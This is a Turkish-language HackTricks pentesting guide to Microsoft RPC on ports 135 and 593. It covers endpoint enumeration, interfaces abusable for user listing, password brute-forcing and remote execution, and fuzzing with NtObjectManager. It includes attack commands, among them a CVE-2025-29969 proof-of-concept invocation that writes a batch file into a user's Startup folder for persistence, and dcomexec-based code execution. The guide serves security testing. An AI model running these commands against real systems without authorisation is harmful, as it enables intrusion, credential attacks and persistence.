135, 593 - Pentesting MSRPC

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Microsoft Remote Procedure Call (MSRPC) protokolü, bir programın ağın ayrıntılarını bilmeden başka bir bilgisayarda bulunan bir programdan hizmet talep etmesine olanak veren istemci-sunucu modelidir; başlangıçta açık kaynaklı yazılımdan türetilmiş ve daha sonra Microsoft tarafından geliştirilip teliflenmiştir.

RPC endpoint mapper’a TCP ve UDP 135 portlarından, SMB üzerinden TCP 139 ve 445 portlarından (null veya authenticated oturum ile) ve TCP 593 portunda bir web servisi olarak erişilebilir.

135/tcp   open     msrpc         Microsoft Windows RPC

MSRPC nasıl çalışır?

İstemci uygulaması tarafından başlatılan MSRPC süreci, yerel bir stub prosedürünün çağrılmasını içerir; bu prosedür daha sonra isteği hazırlamak ve sunucuya iletmek için istemci çalışma zamanı kütüphanesiyle etkileşir. Bu, parametrelerin standart bir Ağ Veri Temsili (Network Data Representation) formatına dönüştürülmesini kapsar. Sunucu uzaktaysa taşıma protokolü seçimi çalışma zamanı kütüphanesi tarafından belirlenir ve böylece RPC isteklerinin ağ yığını üzerinden teslim edilmesi sağlanır.

https://0xffsec.com/handbook/images/msrpc.png

Açık RPC Servislerini Belirleme

TCP, UDP, HTTP ve SMB üzerinden açık olan RPC servislerinin varlığı, RPC locator servisine ve bireysel uç noktalara sorgu gönderilerek tespit edilebilir. rpcdump gibi araçlar, IFID değerleri ile gösterilen benzersiz RPC servislerinin tespitini kolaylaştırır; bu, servis ayrıntılarını ve iletişim bağlamlarını ortaya çıkarır:

D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]

RPC locator servisine erişim şu protokoller aracılığıyla sağlanır: ncacn_ip_tcp ve ncadg_ip_udp ile port 135 üzerinden erişim için, SMB bağlantıları için ncacn_np ve web tabanlı RPC iletişimi için ncacn_http. Aşağıdaki komutlar, özellikle port 135’e odaklanarak Metasploit modüllerinin MSRPC servislerini denetlemek ve etkileşim sağlamak için kullanımını örneklemektedir:

use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135

Tüm seçenekler tcp_dcerpc_auditor hariç, MSRPC’yi 135 numaralı port üzerinden hedeflemek için özel olarak tasarlanmıştır.

Önemli RPC arabirimleri

  • IFID: 12345778-1234-abcd-ef00-0123456789ab
  • Named Pipe: \pipe\lsarpc
  • Açıklama: LSA arabirimi, kullanıcıları listelemek için kullanılır.
  • IFID: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
  • Named Pipe: \pipe\lsarpc
  • Açıklama: LSA Directory Services (DS) arabirimi, etki alanlarını ve güven ilişkilerini listelemek için kullanılır.
  • IFID: 12345778-1234-abcd-ef00-0123456789ac
  • Named Pipe: \pipe\samr
  • Açıklama: LSA SAMR arabirimi, halka açık SAM veritabanı öğelerine (ör. kullanıcı adları) erişmek ve hesap kilitleme politikalarına bakılmaksızın kullanıcı parolalarını brute-force ile denemek için kullanılır.
  • IFID: 1ff70682-0a51-30e8-076d-740be8cee98b
  • Named Pipe: \pipe\atsvc
  • Açıklama: Task scheduler, uzaktan komut çalıştırmak için kullanılır.
  • IFID: 338cd001-2244-31f1-aaaa-900038001003
  • Named Pipe: \pipe\winreg
  • Açıklama: Remote registry service, sistem kayıt defterine erişmek ve değiştirmek için kullanılır.
  • IFID: 367abb81-9844-35f1-ad32-98f038001003
  • Named Pipe: \pipe\svcctl
  • Açıklama: Servis kontrol yöneticisi ve sunucu servisleri, servisleri uzaktan başlatmak/durdurmak ve komut çalıştırmak için kullanılır.
  • IFID: 4b324fc8-1670-01d3-1278-5a47bf6ee188
  • Named Pipe: \pipe\srvsvc
  • Açıklama: Servis kontrol yöneticisi ve sunucu servisleri, servisleri uzaktan başlatmak/durdurmak ve komut çalıştırmak için kullanılır.
  • IFID: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
  • Named Pipe: \pipe\epmapper
  • Açıklama: DCOM arabirimi, WM üzerinden brute-force parola denemeleri ve bilgi toplama için kullanılır.

MS-EVEN (EventLog Remoting) primitifleri

The MS-EVEN RPC interface (named pipe \pipe\even) exposes Eventlog operations. SafeBreach’s CVE-2025-29969 (EventLog-in) analysis shows a TOCTOU flaw in MS-EVEN that lets an authenticated low-privileged user trigger a remote arbitrary file write on the target: attacker-chosen content written to an attacker-chosen path without needing Administrator rights for the remote write.

Operasyonel örüntü (PoC iş akışı): bir geçerli EVTX ve yükünüzü bir SMB paylaşıma yerleştirin, sonra MS-EVEN mantığıyla yarışarak hedefin SMB’de barındırılan dosyayı alıp seçilen yola yazmasını sağlayın.

impacket-smbserver -smb2support Share /tmp/safebreach

Yayınlanan PoC sabit kodlanmış SMB paylaşım adını (Share), bu yüzden onu değiştirirseniz script’i de güncellemelisiniz.

python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123   "/tmp/safebreach/Sample.evtx" "calc.bat"   "C:\Users\lowuser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\target.bat"

Yaygın bir zincir, kalıcılık ve sonraki oturum açışta yürütme için bir per-user Startup folder’a dosya bırakmaktır (yürütme o kullanıcı bağlamında gerçekleşir).

MS-EVEN CreateFile tarzı işlev recon için

MS-EVEN ayrıca herhangi bir yetkilendirilmiş kullanıcı tarafından uzaktaki bir dosyanın veya dizinin var olup olmadığını kontrol etmek için kullanılabilecek, PoC’da CreateFile olarak tanımlanan bir dosya açma/oluşturma işlevi de sunar. Bu, yaygın kurulum yollarını kontrol ederek yazılım keşfi için faydalıdır (ör. C:\Program Files\<Vendor>):

python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"

Result:
FILE_EXISTS_AND_IS_DIRECTORY

IP adreslerini belirleme

https://github.com/mubix/IOXIDResolver kullanılarak, Airbus research tarafından bildirildiği üzere IOXIDResolver arayüzündeki ServerAlive2 yönteminden istismar etmek mümkündür.

Bu yöntem, HTB box APT’ten arayüz bilgisini IPv6 adresi olarak almak için kullanıldı. 0xdf APT writeup için [here] bakın; yazıda rpcmap.py (Impacket) ve stringbinding kullanarak alternatif bir yöntem de yer alır (yukarıya bakınız).

Executing a RCE with valid credentials

Geçerli bir kullanıcının kimlik bilgileri mevcutsa, impacket framework’ten dcomexec.py kullanarak bir makinede uzaktan kod yürütmek mümkündür.

Kullanılabilir farklı nesnelerle denemeyi unutmayın

  • ShellWindows
  • ShellBrowserWindow
  • MMC20

Port 593

Bu port ile etkileşime geçmek için rpctools içindeki rpcdump.exe kullanılabilir.

Automated Fuzzing of MSRPC Interfaces

MS-RPC arayüzleri geniş ve çoğu zaman belgelendirilmemiş bir saldırı yüzeyi açığa çıkarır. Açık kaynaklı MS-RPC-Fuzzer PowerShell modülü, James Forshaw’ın NtObjectManager’ına dayanarak Windows ikili dosyalarında zaten bulunan arayüz meta verilerinden dinamik olarak RPC istemci stub’ları oluşturur. Bir stub oluşturulduktan sonra modül her prosedürü mutasyona uğratılmış girdilerle bombardıman edebilir ve sonucu kaydederek tek bir satır IDL yazmadan RPC uç noktalarının tekrarlanabilir, geniş ölçekli fuzzing’ini mümkün kılar.

1. Arayüzleri envanterleme

# Import the module (download / git clone first)
Import-Module .\MS-RPC-Fuzzer.psm1

# Parse a single binary
Get-RpcServerData -Target "C:\Windows\System32\efssvc.dll" -OutPath .\output

# Or crawl the whole %SystemRoot%\System32 directory
Get-RpcServerData -OutPath .\output

Get-RpcServerData her karşılaştığı arayüz için UUID, sürüm, binding dizelerini (named-pipe / TCP / HTTP) ve tam prosedür prototiplerini çıkaracak ve bunları rpcServerData.json içinde depolayacak.

2. Fuzzer’ı çalıştırın

'.\output\rpcServerData.json' |
Invoke-RpcFuzzer -OutPath .\output `
-MinStrLen 100  -MaxStrLen 1000 `
-MinIntSize 9999 -MaxIntSize 99999

İlgili seçenekler:

  • -MinStrLen / -MaxStrLen – üretilecek dizeler için boyut aralığı
  • -MinIntSize / -MaxIntSize – mutasyona uğrayan tamsayılar için değer aralığı (taşma testleri için faydalı)
  • -Sorted – prosedürleri, bir çağrının çıktılarının sonraki çağrının girdileri olmasını sağlayacak şekilde parametre bağımlılıklarını gözeten bir sırada yürütür (erişilebilir yolları dramatik şekilde artırır)

The fuzzer iki strateji uygular:

  1. Default fuzzer – rastgele primitive değerler + kompleks türler için varsayılan örnekler
  2. Sorted fuzzer – bağımlılık farkındalıklı sıralama (bkz. docs/Procedure dependency design.md)

Her çağrı atomik olarak log.txt’ye yazılır; çökme sonrası son satır size soruna yol açan prosedürü hemen bildirir. Her çağrının sonucu ayrıca üç JSON dosyasına kategorize edilir:

  • allowed.json – çağrı başarılı oldu ve veri döndürdü
  • denied.json – sunucu Access Denied ile yanıt verdi
  • error.json – herhangi başka bir hata / çökme

3. Neo4j ile görselleştirme

'.\output\allowed.json' |
Import-DataToNeo4j -Neo4jHost 192.168.56.10:7474 -Neo4jUsername neo4j

Import-DataToNeo4j JSON artefaktlarını şu şekilde bir grafik yapısına dönüştürür:

  • RPC sunucuları, arayüzler ve prosedürler düğümlerdir
  • Etkileşimler (ALLOWED, DENIED, ERROR) ilişkilerdir

Ardından Cypher sorguları tehlikeli prosedürleri hızlıca tespit etmek veya bir çöküşten önce gerçekleşen çağrı zincirini birebir tekrar oynatmak için kullanılabilir.

⚠️ The fuzzer is yıkıcı: servis çökmeleri ve hatta BSOD’lar bekleyin – her zaman izole bir VM snapshot’unda çalıştırın.

Otomatik Arayüz Taraması & Dinamik İstemci Oluşturma (NtObjectManager)

PowerShell guru James Forshaw Windows RPC iç işleyişinin çoğunu açık kaynak NtObjectManager modülü içinde ortaya çıkardı. Bunu kullanarak herhangi bir RPC sunucu DLL / EXE’yi saniyeler içinde tam özellikli bir client stub’a dönüştürebilirsiniz – IDL, MIDL veya manuel unmarshalling gerekmez.

# Install the module once
Install-Module NtObjectManager -Force

# Parse every RPC interface exported by the target binary
$rpcinterfaces = Get-RpcServer "C:\Windows\System32\efssvc.dll"
$rpcinterfaces | Format-Table Name,Uuid,Version,Procedures

# Inspect a single procedure (opnum 0)
$rpcinterfaces[0].Procedures[0] | Format-List *

Tipik çıktı, parametre türlerini MIDL’de göründükleri gibi ortaya koyar (ör. FC_C_WSTRING, FC_LONG, FC_BIND_CONTEXT).

Arayüzü öğrendikten sonra derlemeye hazır bir C# istemcisi oluşturabilirsiniz:

# Reverse the MS-EFSR (EfsRpc*) interface into C#
Format-RpcClient $rpcinterfaces[0] -Namespace MS_EFSR -OutputPath .\MS_EFSR.cs

Oluşturulan stub içinde şu yöntemleri bulacaksınız:

public int EfsRpcOpenFileRaw(out Marshal.NdrContextHandle ctx, string FileName, int Flags) {
// marshals parameters & calls opnum 0
}

PowerShell yardımcı aracı Get-RpcClient, bir etkileşimli istemci nesnesi oluşturabilir, böylece prosedürü hemen çağırabilirsiniz:

$client = Get-RpcClient $rpcinterfaces[0]
Connect-RpcClient $client -stringbinding 'ncacn_np:127.0.0.1[\\pipe\\efsrpc]' `
-AuthenticationLevel PacketPrivacy `
-AuthenticationType  WinNT  # NTLM auth

# Invoke the procedure → returns an authenticated context handle
$ctx = New-Object Marshal.NdrContextHandle
$client.EfsRpcOpenFileRaw([ref]$ctx, "\\\127.0.0.1\test", 0)

Kimlik doğrulama (Kerberos / NTLM) ve şifreleme düzeyleri (PacketIntegrity, PacketPrivacy, …) Connect-RpcClient cmdlet’i aracılığıyla doğrudan sağlanabilir — bu, yüksek ayrıcalıklı named pipes’ları koruyan bypassing Security Descriptors için idealdir.

Context-Aware RPC Fuzzing (MS-RPC-Fuzzer)

Statik arayüz bilgisi faydalıdır, ancak aslında ihtiyacınız olan, context handles ve karmaşık parametre zincirlerini anlayan coverage-guided fuzzing’dir. Açık kaynaklı MS-RPC-Fuzzer projesi tam olarak bu iş akışını otomatikleştirir:

  1. Hedef ikili tarafından dışa aktarılan her interface/procedure’i sıralayın (Get-RpcServer).
  2. Her arayüz için dinamik istemciler oluşturun (Format-RpcClient).
  3. Girdi parametrelerini (wide strings uzunluğu, integer aralıkları, enums) özgün NDR type’a uygun şekilde rastgeleleştirin.
  4. Bir çağrı tarafından döndürülen context handles’ı izleyip takip eden prosedürlere otomatik olarak besleyin.
  5. Seçilen taşıma katmanına (ALPC, TCP, HTTP veya named pipe) yüksek hacimli çağrılar gönderin.
  6. Çıkış durumları / hatalar / zaman aşımı durumlarını kaydedin ve interface → procedure → parameter ilişkilerini ve çökme kümelerini görselleştirmek için bir Neo4j import dosyası dışa aktarın.

Example run (named–pipe target):

Invoke-MSRPCFuzzer -Pipe "\\.\pipe\efsrpc" -Auth NTLM `
-MinLen 1  -MaxLen 0x400 `
-Iterations 100000 `
-OutDir .\results

Tek bir out-of-bounds write veya beklenmeyen istisna, onu tetikleyen tam opnum + fuzzed payload ile anında ortaya çıkarılacaktır – kararlı bir proof-of-concept exploit için mükemmel bir başlangıç noktası.

⚠️ Birçok RPC servisi NT AUTHORITY\SYSTEM olarak çalışan işlemlerde yürütülür. Buradaki herhangi bir bellek güvenliği sorunu genellikle local privilege escalation veya (SMB/135 üzerinden açık olduğunda) remote code execution ile sonuçlanır.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin